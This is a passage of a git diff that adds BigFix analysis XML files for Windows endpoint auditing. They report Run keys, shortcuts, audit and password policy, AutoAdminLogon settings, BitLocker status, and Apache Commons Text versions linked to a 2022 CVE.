+    <Property ID="2" Name="AdobeUpdater.Overrides" EvaluationPeriod="P7D">lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes b/Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes
new file mode 100644
index 000000000..d2724101d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes	
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : All Users - Files, Shortcuts, RunKey - Windows
+  ID       : 2994785
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:35:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>All Users - Files, Shortcuts, RunKey - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>The latest version of this analysis is found here: <A href="http://bigfix.me/analysis/details/2994608"><FONT color=#000080>http://bigfix.me/analysis/details/2994608</FONT></A></P>
+<P>See the task "Delete start menu shortcuts containing "uninstall"" to delete the shortcuts found in the property "All Users Start Menu "Uninstall" shortcuts" of this analysis. The task is found here:&nbsp;<A href="http://bigfix.me/fixlet/details/3657"><FONT color=#000080>http://bigfix.me/fixlet/details/3657</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 16:34:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="All User Desktop folder" EvaluationPeriod="P2D">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Desktop&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="2" Name="Files on All User Desktop" EvaluationPeriod="P2D">names whose(it as lowercase != &quot;desktop.ini&quot;) of files of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Desktop&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
+    <Property ID="3" Name="All Users Start Menu folder" EvaluationPeriod="P2D">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="4" Name="All Users Start Menu shortcuts" EvaluationPeriod="P2D">(following text of first (unique value whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries) &amp; &quot;\&quot;) of it) of pathnames of descendants whose(name of it as lowercase ends with &quot;.lnk&quot;) of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
+    <Property ID="5" Name="All Users Start Menu &quot;Uninstall&quot; shortcuts" EvaluationPeriod="P2D">(following text of first ((unique value whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)) &amp; &quot;\&quot;) of it) of pathnames of descendants whose(name of it as lowercase ends with &quot;.lnk&quot; AND name of it as lowercase contains &quot;uninstall&quot;) of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
+    <Property ID="6" Name="All_User Run key" EvaluationPeriod="P2D">unique values of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) whose(it != &quot;&quot;) of values of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="7" Name="All_User RunOnce key" EvaluationPeriod="P2D">unique values of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) whose(it != &quot;&quot;) of values of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="8" Name="All Users Run key" EvaluationPeriod="P2D">(unique values whose(it != &quot;&quot;) of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) of values of keys &quot;Software\Microsoft\Windows\CurrentVersion\Run&quot; of keys of keys &quot;HKEY_USERS&quot; of (x64 registries; x32 registries))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes b/Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes
new file mode 100644
index 000000000..4a80fec3b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Apache Commons Text Scan Analysis
+  ID       : 2998676
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-10-21T12:03:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Apache Commons Text Scan Analysis</Title>
+    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
+<P></P>
+<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
+<P>This&nbsp;Analysis retrieves results of&nbsp;a filesystem scan to attempt detecting Apache Commons Text versions that may be vulnerable to one of the following vulnerabilty CVE-2022-42889 reported in October 2022:</P>
+<UL>
+<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om"><FONT color=#0066cc>https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</FONT></A>
+<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889"><FONT color=#0066cc>https://nvd.nist.gov/vuln/detail/CVE-2022-42889</FONT></A><BR></LI></UL>
+<P><SPAN style="FONT-SIZE: 11pt">This Analysis attempts to detect the presence and versions of Apache Commons Text java library, without distinction between vulnerable or updated versions.&nbsp; These results should be considered only a starting point in determining whether a system is actually vulnerable, along with other information such as the version of Java Virtual Machine and specific application or code configurations as referenced in the security bulletins above.</SPAN></P>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[exists files "apache-commons-text.txt" of folders "Scans" of folders ((if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite")))]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Oct 2022 16:15:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="All Apache Commons Text Detections" EvaluationPeriod="PT30M">(if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;))) </Property>
+    <Property ID="2" Name="Number of Apache Commons Text Detections" EvaluationPeriod="PT30M">number of (if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+    <Property ID="4" Name="Unique Apache Commons Text Versions Found" EvaluationPeriod="PT30M">unique values of (unique value of following texts of lasts &quot;-&quot; of preceding texts of lasts &quot;.jar&quot; of (it as lowercase) | &quot;unknown&quot;) of lines whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes b/Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes
new file mode 100644
index 000000000..cf190181b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Audit Policy - Windows
+  ID       : 2998298
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:02:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Audit Policy - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information on the current Windows Audit Policy on the system.</P>
+<P>Policies queried include:</P>
+<OL>
+<LI>Account Lockout</LI>
+<LI>Account Password</LI>
+<LI>Audit Logging for Accounts</LI>
+<LI>Audit Logging for Object Access</LI>
+<LI>Audit Logging for Policy Changes</LI>
+<LI>Audit Logging for Privilege Use</LI>
+<LI>Audit Logging for System Policies</LI></OL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Audit - Password History Length - Windows" EvaluationPeriod="P1D">password history length of security database</Property>
+    <Property ID="2" Name="Audit - Minimum Password Length - Windows" EvaluationPeriod="P1D">minimum password length of security database</Property>
+    <Property ID="3" Name="Audit - Minimum Password Age - Windows" EvaluationPeriod="P1D">minimum password age of security database</Property>
+    <Property ID="4" Name="Audit - Maximum Password Age - Windows" EvaluationPeriod="P1D">maximum password age of security database | error &quot;none&quot;</Property>
+    <Property ID="5" Name="Audit - Force Logoff Interval - Windows" EvaluationPeriod="P1D">force logoff interval of security database | &quot;none&quot;</Property>
+    <Property ID="6" Name="Audit - Account Lockout Threshold - Windows" EvaluationPeriod="P1D">account lockout threshold of security database</Property>
+    <Property ID="7" Name="Audit - Account Lockout Observation Windows - Windows" EvaluationPeriod="P1D">account lockout observation window of security database</Property>
+    <Property ID="8" Name="Audit - Account Lockout Duration - Windows" EvaluationPeriod="P1D">account lockout duration of security database</Property>
+    <Property ID="9" Name="Audit - Account Logon - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of account logon category of audit policy</Property>
+    <Property ID="10" Name="Audit - Account Management - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of account management category of audit policy</Property>
+    <Property ID="11" Name="Audit - Detailed Tracking - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of detailed tracking category of audit policy</Property>
+    <Property ID="12" Name="Audit - Domain Access - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of ds access category of audit policy</Property>
+    <Property ID="13" Name="Audit - Logon Logoff - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of logon logoff category of audit policy</Property>
+    <Property ID="14" Name="Audit - Object Access - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of object access category of audit policy</Property>
+    <Property ID="15" Name="Audit - Policy Change - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of policy change category of audit policy</Property>
+    <Property ID="16" Name="Audit - Privilege Use - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of privilege use category of audit policy</Property>
+    <Property ID="17" Name="Audit - System - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of system category of audit policy</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes b/Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes
new file mode 100644
index 000000000..c8a3cec13
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/AutoAdminLogon audit - Windows (2994788).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : AutoAdminLogon audit - Windows
+  ID       : 2994788
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:49:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>AutoAdminLogon audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.0"]]></Relevance>
+    <Relevance>(exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; whose(value &quot;AutoAdminLogon&quot; of it as string as trimmed string as integer = 1) of (x64 registries; x32 registries))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 16:48:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="AutoAdminLogon?" EvaluationPeriod="PT12H">(exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; whose(value &quot;AutoAdminLogon&quot; of it as string as trimmed string as integer = 1) of (x64 registries; x32 registries))</Property>
+    <Property ID="2" Name="DefaultUserName" EvaluationPeriod="PT12H">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;DefaultUserName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="3" Name="Password Length" EvaluationPeriod="PT12H">lengths of unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;DefaultPassword&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes b/Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes
new file mode 100644
index 000000000..84833623c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/BitLockerEncryptionStatus (96).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : BitLockerEncryptionStatus
+  ID       : 96
+  Author   : geeksikh
+  Domain   : SCVM
+  Imported : 2013-05-02T09:04:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>BitLockerEncryptionStatus</Title>
+    <Description><![CDATA[Report on Encryption Start, Finish Time and Recovery Key events in System Log with source of&nbsp;<SPAN lang=EN>"Microsoft-Windows-BitLocker-Driver"</SPAN>]]></Description>
+    <Relevance>true</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 02 May 2013 14:05:58 +0000</Value>
+    </MIMEField>
+    <Domain>SCVM</Domain>
+    <Property ID="1" Name="Encryption Start Time - EVENT ID 24577" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24577)) of system event log</Property>
+    <Property ID="2" Name="Encryption Completion Time - EVENT ID 24579" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24579)) of system event log</Property>
+    <Property ID="3" Name="BitLocker Recovery Key Failure to obtain BitLocker volume master key from the TPM - EVENT ID 24636" EvaluationPeriod="P1D">times generated of records whose ((source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase AND event id of it = 24636)) of system event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes
new file mode 100644
index 000000000..be4081fae
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Audit - Windows (2998433).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Audit - Windows
+  ID       : 2998433
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T07:29:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Audit - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information on the current Bitlocker status on the system.</P>
+<P>This analysis does not provide the drive letter alongside each property which means that the first row for each property (where applicable) should correspond to the same volume.</P>
+<P>This analysis is only applicable on computers that are Bitlocker capable.</P>
+<P>This analysis uses information provided by the Bitlocker Configuration Probe: <STRONG>Invoke - Bitlocker Configuration Probe - Windows</STRONG></P>
+<P>Credit, kudos, and compliments to jgstew for providing the basis for this: <A href="https://www.bigfix.me/analysis/details/2994754">https://www.bigfix.me/analysis/details/2994754</A></P>
+<P>Credit, kudos, and compliments to geeksikh for providing the encryption started and finished properties: <A href="https://bigfix.me/analysis/details/96">https://bigfix.me/analysis/details/96</A></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="Bitlocker - Encryptable Volume # - Windows" EvaluationPeriod="P1D">number of select objects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="4" Name="Bitlocker - Encryptable Volumes - Windows" EvaluationPeriod="P1D">string values of selects (&quot;DriveLetter from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="5" Name="Bitlocker - Protection Status - Windows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;</Property>
+    <Property ID="6" Name="Bitlocker - Encryption Method - WIndows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;EncryptionMethod&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;N/A, AES 128 With Diffuser, AES 256 With Diffuser, AES 128, AES 256&quot;</Property>
+    <Property ID="7" Name="Bitlocker - Status - Windows" EvaluationPeriod="P1D">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;ConversionStatus&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Fully Decrypted, Fully Encrypted, Encryption In Progress, Decryption In Progress, Encryption Paused, Decryption Paused&quot;</Property>
+    <Property ID="8" Name="Bitlocker - Volume Type - Windows" EvaluationPeriod="P1D">(selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;VolumeType&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="10" Name="Bitlocker - Encryption Status - Windows">(preceding text of first &quot;-&quot; of name of it, (it as trimmed string) of following text of first &quot;:&quot; of (concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of it as trimmed string) whose (it contains &quot;Conversion Status&quot;) of lines of it) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+    <Property ID="11" Name="Bitlocker - Encryption Progress - Windows">(preceding text of first &quot;-&quot; of name of it, (it as trimmed string) of following text of first &quot;:&quot; of (concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of it as trimmed string) whose (it contains &quot;Percentage Encrypted&quot;) of lines of it) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes
new file mode 100644
index 000000000..588164f51
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Compatibility - Windows (2998299).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Compatibility - Windows
+  ID       : 2998299
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:02:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Compatibility - Windows</Title>
+    <Description><![CDATA[<P>Provides information on whether or not the OS is compatible with Bitlocker and whether the WMI node required for Bitlocker exists on the system. </P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - OS Compatible - Windows" EvaluationPeriod="P1D">(windows of operating system) AND (version of operating system &gt;= &quot;6.0&quot;) AND (( exists product info string whose(it ends with &quot;Enterprise&quot; OR it starts with &quot;Enterprise&quot; OR it ends with &quot;Ultimate&quot; OR it ends with &quot;Server Datacenter&quot;) of operating system ) OR ( (version of operating system &gt;= &quot;6.2&quot;) AND (exists product info string whose(it ends with &quot;Business&quot;) of operating system) ))</Property>
+    <Property ID="2" Name="Bitlocker - Available - Windows" EvaluationPeriod="P1D">if (exists WMI &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) then true else false</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes
new file mode 100644
index 000000000..de0b7a3e5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Key Protectors - Windows (2998300).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Key Protectors - Windows
+  ID       : 2998300
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:02:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Key Protectors - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides the key protectors protecting each bitlocker encrypted volume.</P>
+<P>This analysis relies on the information provided by the <STRONG>Fixlet: Invoke - Bitlocker Configuration Probe - Windows</STRONG></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists files whose (name of it contains &quot;Status&quot;) of folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - TPM Protected - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;-&quot; of name of it , concatenation &quot;&quot; of substrings separated by &quot;%00&quot; of (lines of it as string) contains &quot;TPM&quot;) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+    <Property ID="2" Name="Bitlocker - Recovery Password Enabled - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;-&quot; of name of it , concatenation &quot;&quot; of substrings separated by &quot;%00&quot; of (lines of it as string) contains &quot;Numerical Password&quot;) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes
new file mode 100644
index 000000000..bfa6af47e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Logs - Windows
+  ID       : 2998437
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T11:24:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Logs - Windows</Title>
+    <Description><![CDATA[<P>Provides logs from the system event log related to Bitlocker</P>
